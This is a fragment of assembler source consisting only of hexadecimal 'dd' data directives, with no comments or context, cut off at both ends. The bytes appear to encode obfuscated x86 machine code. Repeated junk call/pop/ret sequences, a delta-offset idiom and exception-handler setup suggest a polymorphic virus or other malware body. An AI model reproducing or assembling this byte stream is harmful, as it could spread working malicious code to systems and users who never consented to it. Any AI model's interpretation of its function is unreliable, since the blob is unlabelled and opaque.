188BC203h, 0F9BD8B58h, 6A060715h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8346C351h dd 72FF9BDh, 840F0006h, 27h, 0B8h, 0D19D8B00h, 8D06070Ch dd 74B4A8Dh, 0B870F06h, 0E9000000h, 6, 52AE9DD0h, 0E1FFF9F1h dd 8385F380h, 72FD5BDh, 840F0006h, 3D4h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Dh, 3BC35040h, 8285E7DAh dd 0D95CA43h, 9D3352CAh, 6071DA9h, 0D5BD835Bh, 106072Fh dd 3B5840Fh, 0BF660000h, 0BD83ABC7h, 6072FD5h, 6E860F03h dd 6A000003h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 5C9BC353h, 0CD8F7030h, 6A60F876h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 9E69C350h, 756C787Ch, 0FF9A1E3h, 0BD01FBB7h dd 6073119h, 6AD98C66h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0B983C356h, 0A82AD6C2h dd 1BA1BD8Bh, 6E90607h, 82000000h, 896B8677h, 4E18048h dd 0CEBB6651h, 0C90A5BEAh, 0FD840Fh, 81660000h, 8BD7B8D3h dd 70EF185h, 118D3106h, 33060701h, 7156985h, 0CDB50906h dd 90060713h, 9E9h, 50BD6F00h, 47DCEE86h, 6650D665h, 90AC74BFh dd 0AE9h, 0F18DDB00h, 6B867782h, 6A214889h, 7D9D0B00h dd 6806072Dh, 0A6B1BB3Fh, 0D151BB66h, 0C0240481h, 0E8596D48h dd 5, 0ABEAC504h, 0B59D093Ah, 5B060721h, 56195FFh, 6A0607h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0C46E3CC3h, 3B0F3ECh, 7055DBDh, 91858906h, 6A060AA2h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 6973C351h, 922452D3h, 38EEEA06h, 5C9B589h dd 0C4E90607h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0EBC7C356h, 724BED4Eh dd 89AE6ABFh, 715BDB5h, 8ADF8106h, 8B325671h, 0AA28985h dd 0F8BF0F06h, 1800C7h, 8B660000h, 0EE9DEh, 4FCB0000h dd 0C265BBD9h, 241F9ECAh, 0A48A4109h, 0A28DB58Bh, 6A060Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0E9A5ABC3h, 0Fh, 0D5962F76h, 9E3B5BEAh, 0D4BD8B9Eh dd 8B7F2113h, 72679BDh, 7D858B06h, 6A06071Ch, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0E761C357h, 0E97D1792h, 0Bh, 0DC176B94h, 995610DEh dd 8993010Bh, 35BD8906h, 8B060728h, 70EF185h, 12E906h dd 5AEC0000h, 8BCB15D3h, 4B730348h, 2B484348h, 0BF522412h dd 0F044689h, 387h, 0D98B6600h, 0DA8B6650h, 6A243489h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0F6F9C352h, 14BEFDC2h, 0DBB70F11h, 0A289B5FFh dd 6A060Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 1EC72C3h, 14358501h, 0DE8B0607h, 27AE5568h dd 6E96006h, 0A9000000h, 4C31C9BAh, 4E67BE08h, 81611824h dd 0ADAA2434h, 13E90638h, 0B4000000h, 0A5F3CFE7h, 0E405E013h dd 3477C081h, 0F69095AFh, 858D54DBh, 60AA291h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 62C35747h, 0C99D8B1Fh dd 5006070Bh, 66240489h, 0A6BDB81h, 56195FFh, 81660607h dd 61954FE3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 6DC35343h, 0D9B70F27h, 2FD585C7h, 30607h, 9D230000h dd 6071DFDh, 0A291BD83h, 0F00060Ah, 884h, 1EE900h, 0BF0F0000h dd 0C3050DFh, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 9FC35141h, 0C394DE38h, 668D0BE5h, 0E965E1BFh, 0Bh dd 0B443945Eh, 84D1239Ah, 0E901D176h, 0Bh, 6C6E07Eh, 2B0D5CC6h dd 83218861h, 72FD5BDh, 850F0306h, 37Ch, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 15h, 36C35646h, 49BD8B7Ah dd 83060730h, 0AA291BDh, 840F0006h, 34Ch, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0DFC35545h, 74739E56h dd 0B5FF2F52h, 60AA291h, 1149BD8Bh, 95FF0607h, 6071641h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 92C35747h dd 0C78166BFh, 65BB6D1Ch, 8B4CB47Bh, 0AA285B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 58729AFDh, 106C746h, 6A000100h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0A626C350h dd 9C0CB6A0h, 5250509Ah, 14E8h, 0E88FE500h, 137C6732h dd 6BA6B369h, 74199B69h, 951B0370h, 5F5B56F4h, 5B50310Fh dd 3489585Ah, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 6381D9B5h, 2CFB531Fh, 0A291B5FFh dd 6A060Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0E88F0CC3h, 11h, 6D2F33AEh dd 76EC99B1h, 34A07449h, 8081A4D6h, 419D890Ch, 5B06070Bh dd 1DE195FFh, 850F0607h, 6, 12A19D8Bh, 0B58B0607h, 60AA285h dd 858BF88Bh, 60720A5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0FBC35242h, 0D09D8A60h, 34961CE9h, 0CE9BCh dd 25FE0000h, 7FA5C74Eh, 0D436394Eh, 8689E712h, 0C4h, 6860Fh dd 85890000h, 6071B7Dh, 0A01958Bh, 0EE90607h, 6D000000h dd 51E4950Bh, 4727A295h, 0EB5FC3C6h, 4C28346h, 0FCDA8B66h dd 66205089h, 858DF88Bh, 60AB5BCh, 0B88689FCh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0ACAFC351h, 6D0382C5h, 0B5FF006Ah, 60AA291h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0C9C35242h dd 0BD924586h, 7BED3E55h, 8595FF00h, 6A060702h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0C88DC350h, 0C39B4B14h, 89E415A2h, 721798Dh, 8B509606h dd 8B505FF8h, 85BF96FBh, 0FF604677h, 0AA291B5h, 5595FF06h dd 0BF060711h, 54E1FBD1h, 6DDBD83h, 0F000607h, 1984h, 50FC8A00h dd 348915B3h, 0CE924h, 87A60000h, 65F220A4h, 6F4F693h dd 0B5FF9054h, 60AA291h, 16259D8Bh, 95FF0607h, 6071BF1h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0ECC35545h dd 28D55C2Eh, 4C8E83CEh, 958589FFh, 0FF060700h, 0AA291B5h dd 0FFFB8B06h, 71AF595h, 6E906h, 2BFD0000h, 5708F0F1h dd 19F5BD83h, 0F020607h, 4884h, 81958900h, 8B060705h, 71A2985h dd 12E96006h, 22000000h, 8D3A53F0h, 0A8484A5Ah, 0FC74651Dh dd 7C7E5AD9h, 11E858h, 0BA720000h, 0C0D6F8C4h, 69E33DB2h dd 0A9E0C763h, 168B3ABh, 728118Dh, 0C6615A06h, 0C7800000h dd 985C7C4h, 6070Dh, 66000000h, 8E9DE381h, 0FFF4D9E9h dd 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 9C74C576h, 8BDA8B62h, 720E1BDh, 66C18B06h dd 8D0EF8BFh, 72C6185h, 499D8906h, 50060718h, 489FA8Bh dd 6AF88B24h, 0AE900h, 24EB0000h, 12C07615h, 5F16F73Bh dd 0CB81006Ah, 50DA9A14h, 0E681858Dh, 0E2B3060Bh, 6A05C083h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 27AFC353h, 4890F8Ah, 66000000h, 903A1CBBh dd 11800F50h, 50000000h, 0F525052h, 0F585A31h, 854DBB31h dd 585A3BC6h, 14E890h, 2180000h, 507F278Ah, 2B346328h dd 0D06D1CCEh, 0FEA5E459h, 0E95FA16Bh, 10h, 2E741FEEh dd 52B8C114h, 5BA5ABEBh, 0B91EBA4Ch, 0BF0F006Ah, 6A006ADAh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0B2CC350h, 4558870Ah, 80E56534h, 95FF46E3h dd 6071335h, 1CB99D89h, 0BF0F0607h, 9D8D8DF8h, 66060A93h dd 0FF7A78BBh, 1DB589D1h, 83060729h, 732B1BDh, 850F0106h dd 92h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h dd 0C1C35343h, 0F460C5DAh, 6AD88B66h, 58B0F02h, 66000000h dd 115ED381h, 934FBB90h, 8B50670Fh, 6A90FAh, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 7E459AC3h dd 149BD8Bh, 0FFF80607h, 7028595h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0EC1B4CEAh dd 8B47AEF8h, 728259Dh, 0CB816606h, 81E9CF51h, 0E800000Dh dd 0 dd 8BED815Dh, 6A060BE6h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 2D24C350h, 0FE3E74AFh dd 0DE8BCA4Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 0EBC35747h, 3858D78h, 29060A86h, 71FC995h, 12E89006h dd 0FE000000h, 37B9FE83h, 0E2AD377Eh, 0B50245F6h, 8A98C502h dd 5FF88BA5h, 7B7FBF50h, 81900622h, 0DF4D27F7h, 35FF644Bh dd 0 dd 64D8BF0Fh, 2589h, 0AE90000h, 0E7000000h, 5A26FEE6h dd 458F7835h, 8985FF51h, 6A06072Ch, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 6918C355h dd 0D619DDDAh, 6A2DCBF7h, 0EE9FFh, 0D7EA0000h, 3644E27Bh dd 0C4A54AE9h, 683D291Dh, 45DB5FFh, 95FF0607h, 607213Dh dd 108E9h, 8000B000h, 0AE99AF7h, 3D000000h, 0A1672D0Ch dd 0D0210A55h, 0E470E64Dh, 0F613C71h, 0E883h, 758D8900h dd 0B06071Ch, 71A31BDh, 0C8B60F06h, 13E9h, 70712D00h, 3EE1E746h dd 65902C1h, 2FEEEB27h, 0B29E073Eh, 6BAh, 0F0806000h, 0C18B6122h dd 8104E8C1h, 0BC66D0DBh, 0E2F76655h, 18F59529h, 5E90607h dd 0B4000000h, 9EE0E601h, 0B70FC82Bh, 0F8D18BDEh, 8CE9h dd 0EF816600h, 0BF0FAD57h, 50858BDEh, 0B347554Ch, 7C08354h dd 0CE9h, 4F3B0A00h, 0E1ED7CC9h, 0B7FAEF44h, 0C083D6h dd 0FD03BFCh, 0D83h, 890F00h, 0E9000000h, 51h, 8D8BF98Bh dd 0FFFFFFFFh, 0FFB70F60h, 0AEEB8166h, 0E183611Bh, 36840F01h dd 89000000h, 73145BDh, 0FFA58306h, 0FEFFFFFFh, 89BD8Bh dd 95890607h, 47554C50h, 6880Fh, 0BD8B0000h, 6072F15h dd 6860Fh, 0B5890000h, 6073131h, 0E9h, 0BCB58D00h, 6A060B6Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0DD22C353h, 0F4511591h, 29006ADBh, 71B0D85h dd 0DD9D8B06h, 0FF060720h, 71B6995h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0FEB9C752h dd 6D850117h, 0B906070Dh, 0DF9h, 16959529h, 0E1830607h dd 0EDBD8BFCh, 0FC060705h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 0BBC35545h, 80AD1DE0h, 5E962F8h, 58000000h dd 0DBB79594h, 6AC02Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0F585C0C3h, 8B66F5D3h, 0BADFh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 3CA8D1C3h, 0AD5A47FBh, 0E8D1C233h, 0E983D003h, 66F47504h dd 0D264DB81h, 1399BD31h, 9D890607h, 6072D05h, 880Dh, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 385FDA43h, 356E2F1Eh, 1958B34h, 8906070Ah, 72FAD8Dh dd 0A58D8B06h, 50060714h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 95896058h, 60717CDh, 19800Fh, 14E90000h dd 0B0000000h, 19E744Fh, 9C788CA8h, 71F74C06h, 790F133Ah dd 61D1555Eh, 0B011D781h, 0B5897E7Fh, 6071049h, 2FF9BD83h dd 0F000607h, 9F84h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0A40182E3h, 0CB96FDAAh dd 71BF6692h, 25850141h, 0B8060733h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D5C35343h dd 2FF59D8Bh, 8D8D0607h, 6074B4Ah, 7B25BB66h, 6AE1FFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0BB5C54C3h, 0BE91E9Eh, 0DD000000h, 0FFAD020Dh, 0D81B6857h dd 9E90DA8h, 0B0000000h, 0D8F1237Ah, 0F504B02Eh, 2FD5BD83h dd 0F000607h, 49084h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 42C89BB2h, 319D8B41h dd 83060718h, 72FD5BDh, 840F0106h, 478h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 18h, 0C0C35141h, 513411DCh dd 0BF66DA8Bh, 0BD8398E8h, 6072FD5h, 0F860F03h, 6A000004h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 89EBC357h, 70EB99Dh, 6A6006h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 6FF06EC3h dd 0BB6696B9h, 8B660F7Bh, 0D98C66FAh, 18A99529h, 0E1800607h dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 2F33AECCh, 0EC99B16Dh, 0BD294976h, 6073131h dd 0B584ABBh, 0F88B660Eh, 840FC90Ah, 125h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0B2C35747h, 1BF4111Ch dd 0F1858BF4h, 6A06070Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0B5CC356h, 71E059Dh dd 68BB6606h, 6985334Eh, 80060715h, 8B90E0F7h, 0BDBF50FEh dd 902B14B3h, 16459D8Bh, 6A0607h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 40C35747h, 91721D8Fh, 23E1B23Ch dd 0D5BD2926h, 68060731h, 0A060F8BCh, 481FA8Bh, 0BE0B4324h dd 53006A5Fh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 7DBFEE03h, 89328771h, 7329585h, 6195FF06h dd 0FC060705h, 0A2918589h, 6A060Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 909296C3h dd 9D8B304Dh, 6072379h, 1F7E9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 3A8FF98h, 714799Dh dd 89858B06h, 89060AA2h, 7216D95h, 6D9D8B06h, 0C706070Ah dd 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 1E3DEF5Dh, 7FA9ECDAh, 60FA8B66h dd 30158D89h, 81660607h, 618F94CEh, 0A28DB58Bh, 8B66060Ah dd 7D858BFEh, 0BB06071Ch, 5C845997h, 6A0689h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0C39D0FC3h dd 298AC43Ch, 0BF696C2Ch, 69AAAE52h, 0EF1858Bh, 6A0607h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0E64D16C3h, 0BACC11A4h, 33F24F9Eh, 714F59Dh, 4468906h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 40C35242h dd 285F4A2Bh, 0D9BD23F8h, 5006071Ch, 89DF8B66h, 95892434h dd 607115Dh, 0A289B5FFh, 6A060Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 2942A0C3h, 5CDD6FD4h dd 31F5B589h, 0BF0F0607h, 4E8F8h, 3FF0000h, 70BF001Fh dd 50658750h, 5E8h, 61A7E00h, 0BB667AA2h, 8B5FB3F3h, 8B042444h dd 51BF6600h, 244489C9h, 0D98B6604h, 91858D58h, 6A060AA2h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0D94C357h, 666676D3h, 90AC42BFh, 26EBF66h dd 7153BF50h, 0E89006C8h, 11h, 0FA4C1BECh, 794EBF76h, 791BA74Fh dd 0A02550D2h, 0DEBF0FBFh, 6195FF5Fh, 6A060705h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 26B1C356h, 4AC524DBh, 6626EC29h, 19DAD381h, 56006A61h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0F885E62h, 1583h, 10E900h, 0F5D0000h, 325DF423h, 85D8EECAh dd 3DF8319Dh, 85C7EA61h, 6072FD5h, 3, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 0EC35040h, 0BD89FB1Dh, 6071ADDh dd 0A291BD83h, 0F00060Ah, 1184h, 77BFFC00h, 0E913BFAFh dd 21h, 21C1B509h, 30500607h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 599D33C0h, 6A060718h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 72D6C351h, 76DD795Ch, 8008FF38h, 0BD83F8C3h, 6072FD5h dd 2E850F03h, 8B000004h, 91BD83FBh, 60AA2h, 41F840Fh, 0EE80000h dd 95000000h, 5739610Ah, 74BA82F2h, 2F7B02DBh, 13E945h dd 0C0A70000h, 0EF8CCD1Dh, 0D423AF92h, 57B0D7A9h, 442F54B3h dd 0BB665FADh, 0B5FF72FCh, 60AA291h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 72C35747h, 0FFF5009Ch, 7164195h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 4C94A1C4h, 3214E11Dh, 0B1BBADFBh, 0F13EFD5h dd 82h, 85B58B00h, 6A060AA2h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0F87C357h, 0C7F9D8B7h dd 1000106h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 4227B701h, 6096DA8Bh, 66CE8B66h dd 5061D08Bh, 7E9h, 0AB764E00h, 41FF4786h, 55006A96h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 99303BE5h, 32FD9D8Bh, 0B5FF0607h, 60AA291h, 2E598589h dd 95FF0607h, 6071DE1h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 12C35040h, 54D8E7F7h, 81FE8B66h, 0F89A54D3h dd 85B58B7Bh, 89060AA2h, 714E58Dh, 0A5858B06h, 6A060720h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 0C911C355h, 136E255Eh, 0B70F67E3h, 8D9589DBh dd 89060730h, 0C486h, 89958900h, 8B06072Fh, 70A0195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 435AFC9Fh, 3A30C622h, 83F8B70Fh, 6A04C2h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 2FA141C3h dd 61EE85CBh, 9D8B2FB5h, 6073155h, 48E0Fh, 0BB660000h dd 12E93705h, 6C000000h, 2616538h, 59FE23B9h, 0A6509D0Ah dd 928DE23Ah, 20508935h, 858DDA8Bh, 60AB5BCh, 0CAD9589h dd 86890607h, 0B8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 3C35545h, 8B0F126Fh, 6, 735BCB81h, 6A7F4Ch dd 6830Fh, 0D7810000h, 213D0E03h, 0A291B5FFh, 810F060Ah dd 6, 1ED9D89h, 95FF0607h dd 6070285h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 61C35646h, 6429B214h, 0DC8BEFFBh, 7E972h, 68C50000h dd 0EA505179h, 0ADB79688h, 7E850h, 0A4A70000h, 637F70C0h dd 2BF667Dh, 6A965B3Eh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 45C6C355h, 0A291B5FFh dd 8166060Ah, 0FFE225EBh, 7115595h, 0DE806h, 0DD760000h dd 886F599Dh, 0BF9E6ACFh, 298D46E6h, 72E4985h, 0BD835B06h dd 60706DDh, 48840F00h, 66000000h, 967345BFh, 13E8h, 0CCEAAC00h dd 47CEA425h, 1A4D82F7h, 0B1E13073h, 814F8345h, 0BB56505Bh dd 57AD4FFDh, 6A965Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 3AA6AC3h, 0FF5EFB15h, 0AA291B5h dd 0C19D8B06h, 0FF060703h, 71BF195h, 14E906h, 4CC70000h dd 0BE3ACAC6h, 0DCB700BBh, 455CFEh, 9A60EBD1h, 0B5FF7A07h dd 60AA291h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 81C35141h, 0F595FFF5h, 8B06071Ah, 83D88BFAh, 719F5BDh dd 840F0206h, 23h, 19BD9D8Bh, 858B0607h, 6071A29h, 0C6DEB70Fh dd 810F0000h, 6, 18099D8Bh, 0C0BB0607h, 0C72C25E2h, 70D0985h dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 1E934D45h, 9E851h, 3D6F0000h, 0FD7BE89Eh dd 5B255FFDh, 0F359E95Fh, 0D781FFFFh, 66C34C03h, 9D8BC18Bh dd 60711A9h, 2C61858Dh, 6A0607h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 5685C3C3h, 8D2914C4h dd 6072019h, 60525090h, 0F615E50h, 0DE8B6631h, 5150585Ah dd 9D2B905Fh, 607029Dh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 0B6713BC3h, 22D9D8Bh dd 6A0607h, 8DDFBF0Fh, 0BF63285h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0CB95C06Fh dd 1E4D9D8Bh, 67B30607h, 6005C083h, 0DD18533h, 66610607h dd 90ABFBBFh, 9E850h, 548D0000h, 976ACE91h, 0BB8D8ED2h dd 7D055A7Ah, 13E9905Bh, 3C000000h, 4D7A5221h, 16666D02h dd 0D833D1B8h, 0FE31EB50h, 6ABC5Fh, 13E8h, 82E38000h, 0FDAAA401h dd 0F392CB96h, 0B314B01Eh, 0C4A39163h, 5219D89h, 6A5B0607h dd 18B0F00h, 0FC000000h, 0FE8h, 3C422500h, 0E372C755h dd 0B9CAB34h, 510C011Ah, 16699D29h, 0FF5B0607h, 7133595h dd 0CDBD2306h, 66060712h, 3CC6E381h, 939D8D8Dh, 0D1FF060Ah dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 21C35040h dd 5A803F06h, 0BD83178Fh, 60732B1h, 0C4850F01h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0D973C350h, 73C20427h, 95BD8B50h, 5B060707h dd 6A026Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0DFD7AEC3h, 569D882Dh, 168D0Fh, 0AE80000h dd 76000000h, 5A28A190h, 8602FCA7h, 0B59D8B08h, 5B060715h dd 24048950h, 0D3816660h, 9D89D314h, 6071C35h, 8595FF61h dd 6A060702h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 3584C353h, 4BD64502h, 0FFB300Dh dd 1A86h, 0EE800h, 0C4F20000h, 0AF493370h, 56720090h, 0E4E18D4Bh dd 21A99589h, 0E95F0607h, 0F2Ch, 0E8h, 0ED815D00h, 60BF63Ch dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0F6C35646h dd 0FC62914h, 28Ah, 6A3EB700h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 258CC352h, 0BE9h, 0E301FB00h dd 0B4BB82CDh, 9EB5F692h, 8603858Dh, 6A060Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0A34B7CC3h dd 1D7CD906h, 0BB50F8D1h, 3BC7B620h, 8A240489h, 35FF64FCh dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0FBC35343h dd 759D2968h, 2906072Dh, 7165195h, 25896406h, 0 dd 2C8985FFh, 9D8B0607h, 60720C1h, 0B70FFF6Ah, 49B5FFF8h dd 6A06071Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 17FEC355h, 9D8B47F9h, 6071FB5h dd 0C2CFBBBBh, 3D95FF56h, 0E9060721h, 11Ch, 0F19589h, 95890607h dd 6071AE5h, 815600B0h, 0BA3C69D3h, 0FE8B5B47h, 0D38170E6h dd 6385E6F6h, 8D8971E4h, 6072379h, 830F613Ch, 0ECh, 11D9B589h dd 0B60F0607h, 0F99D8BC8h, 0BA060711h, 6, 0C18BDCB7h, 0AE9h dd 892C7400h, 0D914668Bh, 0C1364F82h, 11E904E8h, 0E6000000h dd 0F2BBC015h, 0DE7CC47Eh, 12F4A230h, 0A17F9C7h, 56E2F766h dd 1011BD8Bh, 2B5B0607h, 7D9D8BC8h, 8B060720h, 5850FD1h dd 66000000h, 8DC6EB81h, 87E9h, 0DE800h, 0C4450000h, 3CBE553Dh dd 4C15DAB1h, 0F4B70ACh, 486h, 0BB6600h, 858B5F30h, 44004E49h dd 0D042BF66h, 13F5B589h, 0C0830607h, 3830F07h, 80000000h dd 0C0835DCBh, 2DBD3300h, 3B060717h, 0D830FD0h, 57000000h dd 20BB66h, 32E95Bh, 0DA8B0000h, 0FFFF8D8Bh, 0E183FFFFh dd 21840F01h, 89000000h, 7108D95h, 0FFA58306h, 0FEFFFFFFh dd 1E55BD23h, 95890607h, 44004E49h, 0E986E380h, 0 dd 79B5B58Dh, 0CE9060Bh, 37000000h, 13F0622Ch, 9CC7FF9Dh dd 6AFFA547h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 0C606BB64h, 95FF28CAh, 6071B69h dd 5850Fh, 81660000h, 0B90087CBh, 0E9Dh, 0FE953h, 2970000h dd 0E87CAEDFh, 4F2F2599h, 0FF569FDh, 0E1835F4Bh, 56006AFCh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 9E5E9DBh, 4F58A120h, 8D0F270Ch, 4, 60EABF66h, 0ED9D0960h dd 66060717h, 61CBE2B9h, 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0F747CEA4h, 731A4D82h dd 9589E130h, 6070F59h, 6AC02Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 0CDBBC1C3h, 8BFE63EAh dd 71229BDh, 6AD22B06h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0EB3AC352h, 0D2343C93h dd 0A36D01DDh, 101D9D01h, 33AD0607h, 3E8D1C2h, 4E983D0h dd 6AF475h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 9670A1C3h, 0C398F420h, 6AD8B70Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 3480C351h, 4577D7F6h, 14E94009h, 0AF000000h, 6D4DA76h dd 